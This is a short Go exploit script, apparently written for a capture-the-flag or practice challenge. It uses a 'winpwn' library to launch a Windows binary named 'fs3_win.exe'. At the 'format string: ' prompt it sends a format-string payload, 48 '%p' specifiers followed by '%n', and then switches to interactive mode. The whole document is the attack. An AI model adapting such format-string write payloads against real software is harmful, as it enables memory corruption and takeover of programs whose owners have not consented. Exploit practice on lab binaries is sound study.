package main import ( "bytes" "log" "winpwn" ) func main() { tube, err := winpwn.Spawn("fs3_win.exe") if err != nil { log.Fatalf("Spawn: %v", err) } offset := 49 var payload bytes.Buffer for i := 0; i < offset-1; i++ { payload.WriteString("%p ") } payload.WriteString("%n\n") if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil { log.Fatalf("SendLineAfter: %v", err) } tube.Interactive() }